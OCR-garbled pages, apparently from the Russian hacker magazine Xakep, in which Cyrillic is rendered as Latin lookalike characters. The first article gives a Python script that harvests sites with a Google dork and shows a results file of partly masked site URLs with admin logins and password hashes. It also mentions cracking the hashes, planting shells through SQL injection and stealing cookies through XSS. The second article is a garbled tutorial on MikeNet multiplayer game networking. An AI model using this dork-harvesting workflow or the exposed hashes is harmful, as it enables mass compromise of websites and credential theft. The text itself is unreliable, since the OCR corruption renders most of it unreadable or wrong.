COB.ltl3MeHV1B ¢YHKU,V11O url_get. HO 51 npe,o,n041·nafO nOCTynaTb
bfjp:ffnelbeansQig.
CKpl1nTbl, He Tpc6ylOll\'1e oco6oro nplilcMoTpa, lJ\ Kor,o,a Bce rOTOBO, npoClO 6epyHeT6yK V1 SbIXO)l(YC HYlM B fllOAIo1 -
if (test_sice rna:-Lcount_thcad > cQunt_theadl : #
np5lMOe nOAKfllO'-leHV1e K aTaKyeMbiM caHTaM.
NetBeans, YAo6Horo
nO-ApyrOMy. 06b1'-1HO ~ CTapalOCb nltlC8Tb aBTOMaTV14eCKV1e
\'Jhile ( len (sire_lise) "0): It
n paKH1Ky~
BKa'-ieCTBe npWMepa'
htlQJLmHwOon..cotJlf
cKplilnTbl C nOAPo6HbIMV1 KOMMeHTaplo151MIo1 eClb H(l A!'1CKe.
count thead-=
YI1 3Bl1MOCTelo1:
nOTOK8 Afl~ 8cex C<lHTOB 101 KOHTpOfll.1pyeT, '-lT06bl nOTOK08 He
HOi:! max_count_thead. 06b5lSneHHov.
count_~head
links
• OrpoMHev.wa516a38
nO.o.roToBIo1Tell!::lHbl€ paOOTbl8blnOJlHeHbl lt1 MO;>KH03anYCKaTb
H8npl1
Mep, B nL.nev.Hoe 38eeAeHlo1e, r,o,e eClb Ba~~<pa~. TaM 51l1cnlo1~ safe nl<1SO 1'-lepe3 TO 3eflO paA CTaHo8~cbl, 33nYCKalO CKpl<1nTbl,
Ca,V,T
cnOKO~HO 3a KpblsalO KpblWK'f HeT6yKCl V1 KflaAY ero non crOll.
site'" site_list.pop()
Hl<lKTO Aa)l(e He npe,o,nOflaraeT. '-leM 51 38Hlo1MafeCb B V1HTepH€
CKPVlnT nAPCV1H iA iYiJlA
Te. Bav.-<pa~ AaeT snOllHe npl-lfllll'-lHylO CKOpOCTb, a nOCKOJ1bKY
• dvd
lO3aeTOl MHoronOTO'iHOCTb, TO 3aTpaTbi SpeMeHl<l HiJ pa60Ty
Ha Al<1CKe. KpOMe
CKplt1nTOS HeSeJ1Io1KIo1. rOTOBbl~ pe3ynbTaT 51 OU,CHltlBa10 y)Ke
l.1CXOAHltlKOB,I1ll\101
AOMa, npOCMaTpl<1Sa~ coxpaHeHHble CKpV1nTaMI'1 flOrYl. TeM He
nonHou,eHHOeBl<1~eO
MeHee, 6e30naCHOCTb HI'1KOrAa He 6blsaeT fll1WHeiil, n03TOMY
OTaBTopa CAeMOH CTpaL\l'Ie~ pa60Tbi
nO,Q,D.ep>KKa COKCOS npl1SeTCTeyeTcll.
CKpl<1nTOB.
11
~TECTI1POBAHI1E
KOH$I~ f' ndpcep~
do:ck '" 'i nur 1 :page_id- "Gallery+powered+by ~ (M
oblog w
,
Hy '-lTO >Ke, HaM OClaflOCb TOflbKO npOT€CTl<1POBiJTb Hanl<lCaHHbIH
KO,Q Ha npaKTYlKe.
page'" 10
$1 nOCJ1€AOBaTeflbHO 3anyCTl<lJ1 ¢aHJlbl google.pyi'l autotester.py.
reg'" 'class"'r»«ahre:"'"({""&l*J
a nOCJ1e 38SepWeHYlSll<1X pa6oTbl- rJ151Hyn s ¢awJl success. txt.
print "IF start"
KOTOpbliil nopa,o,ORall CBOl<1M 05beMOM. BOT nepsble Tplt1 CTP04Kl<l
print "if cork:" -+ dork
Yl3 Hero:
-;t
~
all page: " - stripage)
warning
II QTKpblBile'M 4>aViIl Hd 3i:lnHCi:>
http://kota***an.com/w~!:lug:$PSB16Yr5TQFQ2t BC5Ilt1H¢loPMa lllo1\l
fo '"
jrmMxUHizubzzqZJ2A.
hLtp:/!info***e.com!:admin:$P$B58JineUw60Jo£
DL9hD9me5XaumzOtO
http://www . tar*" *up com!: admin: $PSBRHl fDILrq
hpAOLOo38w5Xlke(AH70.
open('google.txt', 'r;:;'
print "# google.txt open"
impoct curl import time
npe,o,CTasnel-ia JlI1Wb
B 03HaKOMVlT€ n bHbIX u,en~x. He HY)l(HO no~
BTOP5lTb rnynOCTl13a aBTopoM!
import re
II npol!tn1cb no page CTpaHI1L\I)M for i in xrange (0, page) : I; ~Opt.1HpO"alil<le
B
ryrne
llRL
I ~
C 33XeWl<1pOBaHHblM napOJleM IhUp-l/www.
nOMO>KeT pa306paTbC5I nOCJleAHV1i;j PasswordsPro
url = ''http://ftfll,,...-i.g::JOgle.com/
search?q-"
vITaK, 3,Elecby Hac l<1MeeT MeCTO flon1H l<1 3axeWV1pOBaHHbl~ napOnbAll51 Aocryna B 3,QMI'1HKY.
Idork-"&sta~t"'"
-+ strli*10)
Insldepro.com/download/paS5WOrdsDr-D.zip!. Ho Aocryn iJAM\.1HKe -
He rnaSHall U€ f lb8STOpa CTaTbV1.
I(
B nepsylO OyepeAb
it I1cnOJ!Hem171 :;arrpoca
51 XOTen nOKa3aTb, K8K c,o,enaTb IiIHcTpyMeHT ,lVl1l6blCTporo l<1
rez '" curl. url~get (urI)
3<p$eKTl<18HOrO XaKa.
It ,a,O(;'i'dCM (;CbliJKI1
BeAb C € fll.1, K npl.1Mepy, Tbl S03bMeWb He Sal injection. a l'Ic~
rez = re. fi:tdall (reg,rez)
nOJ1H€Hl<1e KOAa, TO CMO>KeWb 6blCTpO l<13MeHYlTb ¢YHKLI,lt11O run
~
B wp.py. YTo6bl OHa 3anV1safla leGe weJ1J1 Ha cepBep. ECJlI1 Tbl
:JarDIC!>1BaeM pe"3ynb1'a,
for
f.l
OPdWiJ
ite:n in rez:
fo.write(item-"\n")
Ha~Aewb 8KTV1BHYIOXSS, TO CMO>KeWbJ1erKO
ee BHenpl.1Tb Ha
sce C8I1Tbl. l<1 nOTOM J1l.1Wb>K,D,aTb Ha cHwpepe KyKI1Cbl. B 06ll\eM.
print 'It page "+str(i+-l)+" done"
npoCTop,o,.n~,o,e51TellbHOCTIol yTe6Sl eCTb. Yl3y4ai:!l V'lMeHHo
" ......:teN 2 ceK.
l.13Y'-lalo1. HO Hl.1 S KoeM CJly"ae He lt1CnOflb3YW CBOH 3HaHV1R 80
time.sleep(2)
3<JXp"'''d'2C-: ~aJ1ll
Spl?.£I nlOA~M - Tbl seAb 3Haewb, '-lTO:::: - He AeCTpYKTlt18Hbl~ >KypHalll<1 Bce. 4TO Mbl nl<lweM, CJ1Y>Kl<1TTOflbKO OAHoi1 u,el1lt1- no~
fa. close
M04b a.o,MV1HaM 3all\I1TIo1TbCB0Io1 calo1Tbl OT 3J106Hb/X aBToxaKepOB.
print '1/ all done'
Y.o,aYlt1!;JC
XAKEP 05/125/09
~
099
+++
»
coding
+++
IOPHIii «¥UREMBO. Sl3EB 'YAZEVSOFTIilOHAILCOH I
r++
TEMHOE HCKYCCTBO HrpOAEllA,:
I
+++
t·
i
L.~
i
.........
+++
+++
+++
Pa3pa6aTbiBaeM KnHeHT HcepBepAml MHorononb30BaTenbCKHX 6aTanH~
+++
flKl6arl pa3pa60TKa V1MeeT Ha4ano V1 norV14ecKV1~ KOHelJ,. Hawa npo
+++
rpaMMa He CTana V1CKnKl4eHV1eM. npO~ArI He60nbwo~ lJ,V1Kn CTaTe~, Mbl CT060~ c03AanV1 04eHbAa>Ke HennoxyKl V1rpyc nOAAep>KKO~ Bcex
+++
cOBpeMeHHbIXTeXHonorV1~, peanV130BaHHblX B DirectX [3arpY3Ka
X-06beKTOB, +++
3D-rpaq>lilKa,
3BYKV1 B Hy>KHbIX MeCTax, 6b1CTPbl~ KOHTponb
V1 AP.J. Ho Anrl nOnHOlJ,eHHOrO re~MV1Hra He XBaTaeTew,e OAHoro KOMno
HeHTa. f{oHe4Ho >Ke, :no MynbTV1nneep.
+++ mBbl6lilPAEM «CKEJlET» Dark GDK.
4aTe.nbHYIO sel4Lo1u,y nOll Ha3S3HVleM MikeNet.
06HOaJ1l1eT, n03TOMY He I-1C'<f1104eHO, '-HO, Kor.qa Tbl
V1cnblTSS 3TOT npOTOKOJ1 B.rIeMO-npLo1nO>KeHVlSlX,
6y.o,eWb 4lo1TaTb 3TOT M(j,epI-13n, Y)l(e Bbllii,!J,eT HOBaSl
TaK
SI pewlo1.n Vlcna.nb30S3Tb ero S Vlrpe. MlkeNet
aepCL1R 6Vl6J1bi [KypVl6norMai-iKa Ha npe.QMeT
n03S0JlSleT nerKO C03,!J,aS3Tb IU1lo1eHT-cepsepHble
06HcBl1eHIo1i-i]
He nO-AerCKl-l Hanp51YbCSl.
npI-1JlO;KeHVlSl. KaK cepsepbl. TaK VI IUllAeHTbl.
nOcJle CKa'1l-1eaHVlt'. It! pacnaKOBKf1 apx\1sa B HeM
MHe 3TO HaJl,OenO
Pa60TaSl CHIo1M, He Ha,ll,O 6ecnoK0lo1TbCR 0 co-
06HapY.>KVlTCI1 HeCKOllbKO ¢al1J10S
KeTax V1 APyrV1x ceTeBblX 3aMOp0'-lKaX - npOCTO
4T06bl yCTaHoBIo1Tb npOTOKOJ1, Hai-i,q1011o1 3anyCTI-1
rpopMV1pyeM naKeT V1 OTnpaSl1Slet-l. VlHTepeCHolii
<j>aL:1.n MikelnstalL exe [TOJ1bKO o6paTI-1 BHIo1MaHl-1e,
lt1
c paccMarpwsaeMOCi JlV150Ci: '-ITo6bl c ee
nOMOll\bfO peaJH1308aTb MynbTVlnneep, Hy>KHO
+++
BKOHl..\e KOHllOB,
ll-l xopawo, YTO Ha,IJ,OeJlO,
a TO npV1WJlOCb 6b1 nJ.1CaTb Ko.o,a pa3a 8 46oJlbwe,
"18M
'1'+++ }+++
j
J+++
~1H<
!r+++
nplo1 pa3pa6oTKe nporpaMM. K cnoay, MaIiiK aaTOp 6L16111010TeK~1 - ,l!,OBOflbHO onepaTlo18HO Bee
HO 8 Ka>K,IJ,oCi 60YKe Me.o.a eCTbJlO)O<3 Aern:l.
SeeM npeKpaCHa 6V16JWlOTeK3
+++
4et-l DsrkGDK. MHe OH He 04eHb nOHpaBV1J1C~ npOAO/lJt<Lo1S nOLo1CKIo1, SI HaTKHYJ1CSI Ha npLo1Me
ceCi'-laci. \tiS! CTaJllilCKaTb ,lJ,pyrV1e
peWeHlt1Sl.
VI, KaK HIo1 yAlt1BIilTeJlbHO, BblXOA 6b1fl HaCi.o.eH:
803M O>KHOCTblO 51BJl51eTC>i OAHospeMeHHaSl pa60Ta
8 BL-1,lJ,e. no MeHbweiil Mepe. napbl cnel..\l-1aJlbHblX
cpaay no ,D,SyM npOTOKOl1aM:
rcp 101 UDP: ,ll,J1l'13TOro
4TO Tbl CTaSIo1Wb aepCLo1K)AJ111
VI
K<lTaJ10roB.
C++:ll. AOJ1>KHO
nOSlal1TbCSl OKHO DOS-ceaHCJ Cl1e/WfOw,ero BltltJ,a ISHIo1MaHlo1e Ha plo1C. 1l.
npoTOKOJlOS, lilcnOllb3yeMbix 8 pa3pa50TKe MHoro
npLo1 coej:\101HeH101101 CCepBepOM, KaK Ha KJH1CHTe, TaK
nOJlb30SaTeJ1bCKlilX lt1rp. npOTOKo.naMlA TaKltl\?
1-1
oel4ltl MO>KHO H33BaTb C60llbwolii Han~Jt<Kolii.
nOpTi3. Yepe3 HV1X Vllo1.o,eT nOClleAYKJl1\al1 nepe
Ha VS 101 cKonVlpyeT .Qsa 4>a~J1a, He06xo,nl-1t-lbIX ,ll,JlSl KOMnLo1flfllj1-1101 nplo1J10.>KeHIo1~, iIlCnaJlb3ylOUJ,Lo1X
Ha cepBepe OlKpblsalOTCR nO,Qaa 110Ka.nbHblX
V1HCTaJlJll'lTOp caM onpe,nenltlT, KYAa yCTaHoBl1e
npaBl-1llbHee IiIX 3BaTb lilHTep¢leliicaMVI KnpoTOKolly
,Qa4a.rla HHblX. Pa3pa6oT4 VI xy He Ha,D,O rpY3ltlTbC>l
OirectPLay, nOCKOllbKY,ll,IlSl 06MeHS C006w,eHVI~Mlo1
c onpe,ll,eneHVleM OTKpblBaeMblX napTOs, MikeNet
MikeNel O,ll,HaKO B HeKOTopblX ::J1Y'-laSlX OH Mo)t(eT
s Dark GDK IAa
B03bMeT BCIO pa6aTy Ha ce6~ Vl C.QenaeT ee He33
pa60TaTb HenpaSl-1flbHO. nplo1 nOSlBJleHlAlil rJlIOKOB
iii.
c06CTseHHo. s DirectX)liIcnOJlb
3yeTCSlltlMeHHO OH. HO,ll,l1Sl npoCToTl:,l6YAeM Ha
t-leTHO .Q11S1 KOHe4Horo nOJlb30SaTeJl>l,
co6CTseHHcpyYHO CKonlo1pylii ¢laliifl MikeNet.lIb B nOj:\nant,yVC\lib nanKL1, KYAa yCTaHos.neHa cry
3blsaTb lAX npOTOKOl1aMl-01. TaK KSK OHltlltlCnOJlb3YlOT
CSOV1 npaSlAlla ,[IJlSl nepe,D,a'-lltl,D,aHHbIX c nOMOU\blO
mMIKENET
DirectPlay.
CKa4aTb MikeNet MO)l(HO co CTpaHLo1LJ,bl ¢opYMa
nepSb41ii 1-13 3TLo1X npOTOKo.nOE3 - :lTO Multi5ync
caliiTa KOMnaHlo1101 The Game Creators
ICt<lOTpVl hllt):I/forurn. thi?(]smecreators.coml.
forum thegamecreators.com). nOc..ne.QHSISI
npoeKT. 8 KOTOpOM co6L1paeWbCR I-1cnOJlb30SaTb
HeC/.WTpSl Ha TO, '-ITO np0.rlYKT sno.nHe pa6o
Bepclo1S1 Ha MOMeHT Hal1lKaHIo1S1 CTaTblo1 - 1.0.6,
cpe.qCTBa MikeNetl V1 OTKpoiil caoilcTBa npoeKTa
Tocnoc06eH Lo16oJ1ee Y.rI06eH B npVlMeHeHI-1V1.
ee-TO, c06CTBeHHo, yurernbo 11 Lo1cnOJlbJOBaJl
IHanplo1Mep, Project 7 DarkRobot Properties)
~
100
,O,Vl\1.1-1 ¢aC1J1 mikenet. h - 8 nO,ll,nanKyVC\include.
1.b11QJL
YTo6bl npltianaL.(vn b yClaHoB"eHHylO 6L16JlLo10 TeKy K KOMnlo1J1I1TOpy. 3anyCTlo1 CTy,o,Io1IO 13arpY3101
XAKEP 05{125/09
'"IaCTb4:
:::c w
~
L..
.... ..
~-\, 8 cBolilcTBax nOCJ1eAOeaTeflbHO pa3BepHI1 cnl-1c
K\1:
Configuration Properties 7 Linker. a 3BT€ M
llleJlKHIi1 no rYHKl)' Input.
S npaBolil yaCTl-1 OKHa, B CTPOKY 3aSI1CV1Mocrei.1
(Additional DependenCles!.,o,o6aBb Ha3BaHlt151
,!J,syx 6lt16nltlor€K: MikeNet.lib liI W52_32.lib [p..,c.
21. A.nSl
npaBI'1!lbl-'O~ KOMnl1J1RLJ,I1l-1 np0)J,enaC1
cneAYIOUJ,V1i1 TpIOK: OCTaBaSKb B CBOIilC183X, pa3
eepHlil Cnl-lCOK
Generation,
ClC++.lll€l1KHl-1 Ha nYHKT€ Code npaeol.1 43CH1, HanpOTl-1B nYHKT3
\1 B
Runtime Library.li13 i-lWnaA3101lIero cm1CKa
Bbl
6epltl Multi-threaded l!MTllp"lc. 31. 3ro 03H3yaer, 6YA€r
nOHaAo6~TCfI,o,Ilfl eeAeHl-1Sl cepeepOM CTanlCTI1K>1.
n03>K<? Mbl3TO pa36epeM. C03Aai1 B VC++ HOBbl~ npoeKl. -
B Ka4eCTBe
wa6nOHa Bb/6eplt1 Dark
GOK
Game. Bo Bce npOeKTbl, KOTopble II1cnOIlb3ytOT
..c -
~
c
::s::
\
napaMeTpOM Onpe,[le11>1eTC51 cnoc06 pa3AayV1 npl1 WeAWI1X udp-naKeToB. ~ocrynHo,o,Bacnoea6a'
UDPMODE_PER_CLlENT" UDPMODE_PER_ CUENT_PER_OPERATION. KorAa lt1CnOllb3yeTcSl nepBblYI cnoc06, OT Ka)l(AOrO Kfll1el--lTa 3anOML1HCI
6101611110T€KY MikeNet. HaAO A06aBll51Tb TaKOLll 3arOllOBO..,HbIH ¢a~Il: <MikeNel. h>. Tenepb
eTCl1 TOllbKO 0AI1H naKeT, npl1WeAWII1.:1 nOC11eAH\.1M,
MO)l(eLUb OTKpblTb C,ll,I1CKa npoeKT cepsepa
6011ee CTapble - YAa111'1IOTCfI.
(aBTOp Ha3Ban ero DarkServer, no aHaJlorl1L1
3anOMl-1H3IOTCl'l naKeTbl co SeeM>1 onepalJ,\IlflMI1
8 cfly..,ae BToporo
C DarkRobotl. I1CC11eA0l3aTb no KOMtAeHTapltl>lM
la HeTOflbKO nOC11eAHl-1eJ, npIl1We,lJ,WV1e OT Ka:t(·
KOA 11 HaYV1H3Tb ero nepenl1CblBaTb. Hy a yurembo
Aoro KllltleHTa. nOCfleAHL1Y1I11CnOllb3yeTCl1, KorAa
TeM apeMel-jeM paCCKa)l(eTTe6e
°Ko,o,e 6011ee
KJlV1eHTMO>KeTOTnp8BltfTb HeCKOflbKO pa3Hblx
nOAP06HO.
naKeTOB [c pa3H~Ml-1 onepal\lt1f1MII1}, Hanp!o1
nOcl1e nOAKll104eHlIl113ar0l10B04HblX q>av;11oB
Mep, KaK B HaWeYll'lrpe. nOcneAHV1L1l napaMeTp
nOTOYHytO. HO craTVlYHYIO BepClIIlO 6H6J1lt10TeKltl
I1l1yT 06bl1SfleHVlSl KOllCTaHT, Ha3Ha4eHltle KOTOPblX
3aAaeT KOJlI1..,eCTBO nOTOKOS.ltlCnOflb3yeMblx
apeMeHl.1l'1cnOIlHeHVl".
SlCHO no KOMMeHTapIl1SlM, 101 CTpyKTypbl, COCTOflll.\ei1
Ilpl-1 nonY4eHl-11111 nepeAaye A8HHbIX. ,!J,llfl MaKCltl
"ITO npI1IJO>KeHlt1e
l.1Cn0J1b3083Tb MHOro
Bee HacrpoC1K\1 np0f13B€,O,eHbl
l CMeno33KpblBaeM
113 ,o,syx 4JleHOB: nepSblL4. XpaHl1li.\l->1Hlt1M>l Kn\ileHTa
ManbHoro 6b1CTpo,qeYlCTBltll1 CII1CTeMb/3TO YVlC110
OlCHO C8olilcm3 \'l ,Q,8lt1raeMCP ,o,aflbwe.
VI 8TOPO~ -
p,OIl:+::HO 3aSlt1ceTb OT KOfllllyeCTBa npou,eccopOB,
rflaBHaSl<pYHKUlo1Sl nporpaMMbl, B HeL4ltl npO>1C
yCTaHos.neHHblx Ha MaWltlHe, Ha KOTopoi:13anYll.\eH
!:iCEPBEP
XOAIIlT BCe Aei1CTBo_ Onepal..\VlV1, OTHOCSlll.\l1eCfI
cepeep. O,o,HaKo eC111<1 nOCTaBI1Tb 0, TO MikeNet
HaKoHeu,. KOtAnlo1mlTOp HacTpoeH, ltl MO)KHO nepe
K HaCTpOL4Ke L1 nepepl1C013Ke 3KpaHa, Mbl paccMa
caM onpeAel1ltlT K011VI.., eCTBO yCTaHoBlleHHblX
XOjJ,vtTb K caMoMy npl,HlTHoMy S )Kltl3Hlo1 KOAepa
Tpl-1BaTb He 6y,QeM [no,o,Hlt1MaLll npeAbllJ.yw.lt1e CTa
wny Vl6YAeT lt1cn011b308aTb AaHHoe "IL1C110. 3TO
nporpaMMl-lpOBClHItlIO, CHa4ilJl3 Mbl pa3pa6::naeM
rbll11 nepaafl ltlHTepeCYIOll.\afl Hac QlyHKlJ,l->1f1 ~ :no
npeKpacHbl~ aapll18HT -
mnSetLocal C yeTblpbMR napaMeTpaMI1. nepBblCi
l1 nepeKOMnltl11>1l\l-11113anYCKaTb Haw cepeep
npltlllO)l(eHVle-cepaep.
8 HaweM c11Y4ae cepaep
KOflll1..,eCTBo <pparOB. ,[lallee cMAyer
MO>KHO 6e3 L13MeHeHI<1l'l
6YAeT3aPIIIM<)TbC~T011bKO nepen.a4ei:i AaHHblX,
napaMeTp -
TO eCTb npltlHVlMaTb,qaHHble OTOAHoro KJlVleHTa
ECflltl era OCTaBltlTb nyCTblM
111 paeebl11aTb ltlX seeM OCTaflbHbIM, HII1KaKl-1X OCO
..,ae!. TO nporpaMM3 caMa onpe,o,el1l1T ero, :no 6y
nporpaMMe l1CnOllb3yeTc>I
,[leT ip-aApec MaWL1Hbl, Ha KOTOpOL4 3anyw,eH ccp
Aa11ee no KOAY l-1AeT06bSlBJ1eHl1e HeCKOflbKII1X
Bep. 8TOpblM napaMeTpoM clle,o,yeT HOMep nopTa,
nepeMeHHblX Hawero CTPYKl)'PHOro H1na, 3aTeM
6eHHbiX BbI4V1CJ1eHIIIL4 Al-1TbCSl He 6YAeT -
Ha ero CTopOHe npolo1360
SCIO pa50Ty Mbl 1303nO)l(I1M
ip-aApec ,ll,1l11 tcp-no,QKflI04eHII1s:l, (0)
[KaK B HaWetA cny
H8 pa3HbiX KOMnbKlTepaX, ltlse3,n,e ero npOVl3BO ,o,VlTe11bHoCTb6y,o,eTHa BblcweMypoBHe!
B Hawe.:1
0
Ha Klll1eHT<l. nepeYVlcJlIo, KaKv,e AaHHbie Hy:+::HO
Ha KOTOpOM 6YAeT O)l(I1AaHltle tcp-nOAKfllOyeHI1Sl.
lJ,L1Kfl,- B HeM 4fll?Hbi Bcex 06bl'lBfleHHf>lX paHee
nepeAaBaTb. Bo~nepBblx, KOOpAII1HaTb/ [K3>K,o,Oro)
3aTeM l1,o,yT ABa napaMeTpa, aHa.norW-lHbIX npll1se
CTpyKryp 06Hy11SlIOTCfl. Tenepb MbI, HaKOHel.\,
K11ltleHTCKOro po6ora ltl yrofl nOBopora BO-BTOpbIX,
AeHHOMy Sblwe OnVlCaHL1IO, 3a II1CKJliO..,eHL1eM TOro,
nona,o,aeM S rflasHbI.:1 U,Io1KIL
6bl11 11101 npoVl38ep,eH BblCTpe11 ,o,aHHblM KOHKpeT
4TO SMeCTO tcp lo1cnoflb3yeTCl1 npOTOKOll udp.
He
HbiM p060TOM ,O,pyn1M\o1 CllOaaMliI, HaM He HanO
CMOTP~
nepeAasaTb KOOPAV1HaT~ Ka)K,ll,OLll paKeTbl.
IlSlIOTCl1 npOrpaMM\ilCTOM, noclle COeAII1HeHltlSl Kfll1
AOCTaT04HO lllo1wbY3HaTb, COSepWltlll P060T Bbl
eHTa C cepBepOM MikeNet onpeAe1151eT V1X 11 caM
CTpell V1fll1 HeT. TaK KaK
Bee KOOp,D,lt1HaTbl Io1yrOll
Ha TO, 4TO HOMepa nopToa SlSHO onpeAe
[cMOTPIl1 OnL1CaHL-1B
M N 8blwel. K cnosy, ¢YHKlJ,ltll'l
B HeM nOCTOSlHHO
flpOBepSlIOTCfI nopTbl AJlSl BblSlBfleHI1'Fl npll1weAwltlX ,o,aHHblx_ KpoMe Toro, S caMOM Haya11e lJ,>1Kfla eCTb 3a,o,ep>KKl-1. OHI1 Hy)l(Hbl, ..,r06b1 nporpaMMa He 3a SHeila lt1 CMorlla o6pa6aTblBaTl.> Apyrl1e. OTlll1'1 Hble aT npOBepm noplOS, npOlJ,eCCbl. <DYHKUltl~
nOBopoTa ,0,1111 ,D,aHHoro po6el:! y Bcex K1114eHTOB
mnSetLocal npltl ycnewHo(;i pa60T€ ' B03Spal.L.\aeT
0A14HaKOBbl, TO lt1 paKeTa BbilleTltIT 113 onpeAelleH
eiJ,I1HV1lJ,y, lo1Ha4e -
HblX KOOpAl-tHaT [n03VlL\VIVI p060TaJ 11 npl-13eM11lt1TCl1
Ab/n011HfleTGl nocne ee Bbl30Ba ( nocneAYIOll.\L1M
paMeTpOB OHa He lt1tv1eeT - eCflll1 B03spaw,aeMoe
B OAVlHaKOSOLll n0311l1..\11'11lt111V1 nOpa3l-1TOAHy ltl Ty)Ke
BbIBOiJ,OM AliIarHOCT>1l.1eCKltlX H8AnL1Ce(;i.
3Hi3yeHltle 6011bwe Hy11f1, 3HaY>1T, nOAKflIO"IlII11Cl1
u,e)lb InocKo11bKy AaHlible Cl-1HXpOH >13\ilpOSaHbl!l.
\I1Tal<. B cfly<.Jae ycnexa Mbl3anycKaeM cepeep
HOBblYl KflV1eHT, L1 HaAO oT06pa3V1Tb erOAaHHble: id,
B-rpeTbI1X, Ha,o,o nepeAaTb KOflW-leCT138 :>4<113
KOMaHAOL4 mnStartServerc ..,eTblpbMl'l napaMI?T
tcp ip,
He~ IA!lfl '1er03TO Hy:>4<HO - pa36epeM n03>Ke,
pat-n·l: MGl KCVlMallbHoe KOfll1'-leCTBO Kflll1l?Hioe.
C006ll.\l-1Tb HOBO My K11VleHTyo6 'f>Ke no,oKJlIO..,eH
KOTopble MorYT nOAKlllOyltlTbC~, MaKCltlM811bHoe
HbIX, 3TO COBepwaeTCR B lllllKfle. \I1cno11b3yeMa"
ao speMfI pa3pa6oTKliI KIlVleHTaL
\11, B-4eTBepTbIX,
0 l111ltl-1. TaKafl nposepKa
mnCtientJoined npocllywlo1aaeT nopr B lJ,ellSlX 8b1 >lsneHltls:l SHOBb nO,D,Klll(I'1118WerOCR K11V1eHTa. na
tcp port,
udp Ip, udp port. nOC11e '1ero I-la,o,o
Heo6xo,o,l1MO nepeAaTb ltlM5l KnVleHTa 11 KOllltl'-le
KO/lltl4eCTBO udp-onepaUL1L4. KOTopble Kfllt1eHT
3,QeCb ¢YHKlJ,L1Sl mnClientConnected npOBep>leT,
CTBO tPpar08 [Ha6paHHblX y6ltlL1CTB). 3TlI1 AaHHble
MO)l(eTornpaBII1Tb 13 O,QHOM udp-naKeTe. TpeTbl1M
nOAKlllO'-leH >111 VI HeT K11l-1€,HT, id KOTOporo nepe,o,a-
XAKEP
05/125/o~
~
101
\
+++
'+++ II;
11+++
BBOAIi1M IP CEPBEPA
.+++
~ow-.:r~
.1l£l i
EJ\IllIo_R_
_ ....., "'-'*'"
"Lr ,~
~Sb""l~
_._.
8·CorIiQi.>'"",,,l'<_"'"
" .......11
_,_O>edc
~C_f)a:~"",
""
--
--_.
8(/<:++
e.OIIC_O>ocb
_It<...,
~
,+++
'3
3~,r~J-
""'-~ fI\ObIe~_~
~
' ..........
£ooblo~_5Ot
--_w..
,
,... ~ ~
~
..
~
'C#"P lllm _ _ ...
~ ~
~~
flool"o_Modd
_l.f1>:P'«\OO)
fMbIo~Pol'<~x,_
~
KflfieHTa, OT KOTOpore O>KVlAaeTCR naKeT, 2 ~ HOMep onepaultlfi. Tat:>Ke cjJyHK lJ,VlSl B03spaw.aeT 1 B CIlY4aeYAa4V11noJlY4eHVlSl nat:eral.
HaJJ,O pacnorpOWVlTb 101 ompaBIo1Tb nOl1Y4eHHbie .o,aHHble sceM K/lltleHTaM
nOp51AKe. B KOTOpOM cjJopMV1posaJll'1lcMoTpltl KDA Klllo1eHTa VI cepElepal. 3TO .o.enaeTCR C nOMOWblO cjJYHK~V1V1 mnGet~ Ir.oe
~~
... .
-,.
""~ ..
'+++
~_.
[.!
I~I
---
t -
TV1nJl,aHHblxl. nOCfle
iJ,e-cjJopMltlpOSaHIo1Sl naKE'Ta (coxpaHeHVlSl BcexAaHHblX B nepeMeHHblXJ. c no M0l..4blO <PYHKUltli1 mnAdd~ (rAe
t -
Hln .o.aHHblx) cjJopMlo1pyeM HOBbli1 naKeT.
3TI1 ¢YHKU,1-1lo1 S Ka4eCTse napaMeTpa npVlHHMaIOTJHa4€ H Vle onpeAeJleHHOrO Tlo1na ,QClHHbIX, HaKoHeu,. nocpeAcTsoM ~YHKl...\t-1V1 mnSendUDPAll ornpaSllR
ENbIotCOolkritlllh;lv0e*"9f... _lIli'>; ........ ~codo. (jGF)
I
~-I-·I
Ii1cnonb30BAHIi1EMHorOnOTOYHO~61i16nIi10TEKIi1
'+++
s cnY4ae oTCyr~
33 ltlCKJlIOl.feHVleM Taro, OT Kora OH npltlweJl. Ae¢>opMVlpyeM naKeT B TOM >Ke
8lri<!<
"""~ ...-
0-
CTeVlR nOCblflKVlltl-l - npltl n051BJleHVll-1 oWVl6KVI. ECJ1l-1 naKeTnplo1Well. TO ere
~
.+++
1 - id
ocYWeCTBJlReTC51 QlYHKUVleC1 mnRecvUDP, y KOTOpoC1,oBa napaM€ T p3:
MultHh"'odod (/MT)
,.
Altl AatlllblX, ltl nposepKa Ha npltlXo,o OTnpaBfleHHoro KnltleHTOM naKeTa. 3TO
BPEMEHli1li1CnOnHEHIi1H
eM Cq,OpMi1pOBaHlibll1 naKeT seeM KJli1eHTaM.
Y Hee Tpli1
napaMerpa:
1-
coxpaH5Hb VlJlltl HeT ornpaellelHlblH naKeT;
2-
6flOKltlpOBaTb WI VI HeT KOMaHAY AO Tex nop. nOi(a naK€ T He 6YAeT BceM
OTOCflaH; 3-
3,D,ecbyKaJbISaeTCl'J KnlileHT, KOTOpbl11 V1CKflI04a€TCfll-13 cnltlCKa paCCbIJlKV1
[Ha.Qo YKa3aTb TOro K!U1eHTa. OT KOToporo nplt1weJl naKerc 06pa6aTbisaeMbl MVlAaHHblMVlI. KpoMeToro, B 3TOM u,ltlKlle 8 nepeMeHHylO deadcount coxpaHSleTcSl H21t1
+++
60flbwee KOflltl"eCTBO Ha6paHHbix l.1rpOKOM epparoB. nOcJ1e OKOH'-laHl.1Sl u,l.1K1la nepeMeHHa>1 npOSep>1eTCSl,l.1, eCJll.1 OHa 60nbwe Io1flVl pasHa YCTa HOBneHHoMy flVlMl.1ry <pparOB, KOTopble Heo6xoJl,Ii1MO Ha6paTb.QJi>1 no6eAbl, TorAa 4!opMlo1pyeTC51 HOBbl~ udp-naKeT 12-oro Tl.1nal.
11+++
8 Hero 3anlt1CbIBa~TC:i1
lt1MeHa lt1 K0l1l.14eCTBO Ha6paHHblX K3)l(AbIM KJ1l-1eHTOM q,parOB, -
lt1 naKeT
TaK)l(e OrnpaBfl:i1eTC51 BceM Klllt1eHTaM AJ1fl BblBOAa !Ha V1xcropoHe] Ta6Jllt1Ubl OT4e"THOCH1 no V1rpe [KTO, CKOJlbKO <pparOB Ha6pafll- n03>Ke 065l3aTeJlbHO paCCMOTplt1M. TaKlt1M 06pa30M, 8 HaweC1li1rpe peaflli130BaHa MyJ1bHmfleepH3l'J
i+++
6aTaJll-151 Tl.1na Free for All- Bce npOTIt1B Bcex lt1JlIo1 Ka)l(Abli13a ce6R.
I
